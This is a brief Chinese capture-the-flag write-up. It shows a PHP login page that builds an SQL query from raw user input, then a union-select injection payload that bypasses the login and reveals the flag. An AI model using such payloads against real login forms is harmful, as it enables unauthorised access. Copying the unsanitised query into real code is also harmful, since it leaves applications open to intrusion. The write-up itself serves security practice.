注入第二题~~主要考察union查询
看来跟union联合查询有关
<html> <head> Secure Web Login II </head> <body> <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ‘:‘ . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘$user‘")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.phps">Source</a> </html>strcasecmp()用忽略大小写比较字符串.
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘$user‘"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw])))
观察发现只要让结果集中有你输入密码的MD5值就行union select md5(1)# & pass=1flag: ntcf{union_select_is_wtf}
时间: 2024-10-07 09:19:36